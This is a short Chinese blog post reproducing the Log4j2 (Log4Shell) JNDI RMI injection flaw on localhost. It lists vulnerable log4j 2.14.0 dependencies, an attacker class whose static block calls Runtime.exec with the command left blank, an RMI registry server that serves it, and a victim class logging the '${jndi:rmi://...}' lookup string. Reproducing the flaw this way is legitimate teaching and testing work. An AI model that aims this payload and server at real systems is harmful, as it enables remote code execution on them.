Log4j2 RCE漏洞 JNDI RMI注入的简单复现案例

最新推荐文章于 2026-07-01 13:01:03 发布

原创最新推荐文章于 2026-07-01 13:01:03 发布 · 3.7k 阅读

1 ·

本内容遵循CC 4.0 BY-SA版权协议

收录于

程序人生

本文详细介绍了Log4j2远程代码执行（RCE）漏洞的复现过程，包括攻击代码块、JNDI服务端设置以及被攻击方的代码示例。通过模拟攻击，展示如何利用JNDI RMI注入在目标系统上执行任意命令，强调了该漏洞的危害性及其利用方式。

Log4j2 RCE漏洞 JNDI RMI注入的简单复现案例

1. 引入依赖POM

        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>1.16.18</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-slf4j-impl</artifactId>
            <version>2.14.0</version>
        </dependency>

2. 攻击代码块(攻击方)

commands执行的命令就不再展示了，可以自行DIY，此处能观察日志打印就算成功。

public class Sout {

    static {
        System.out.println("guess who am I ~~");
        System.out.println("开始执行代码...");
        String[] commands = {"open", "......"};
        try {
            Process process = Runtime.getRuntime().exec(commands);
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
        System.out.println("执行完成。");
    }
}

3. JNDI服务端(攻击方) 注意import的包

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {

    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(8888);
            Reference reference = new Reference("com.xxx.jndi.demo2.Sout", "com.xxx.jndi.demo2.Sout", null);
            registry.bind("Server", new ReferenceWrapper(reference));
            System.out.println("RMI服务已启动...");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

4. 服务端(被攻击方) 此处模拟请求写死入参

import lombok.extern.log4j.Log4j2;

@Log4j2
public class Log4j2Test1 {

    public static void main(String[] args) {
        String ref = "${jndi:rmi://127.0.0.1:8888/Server}";
        log.info("test: [{}]", ref);
    }
}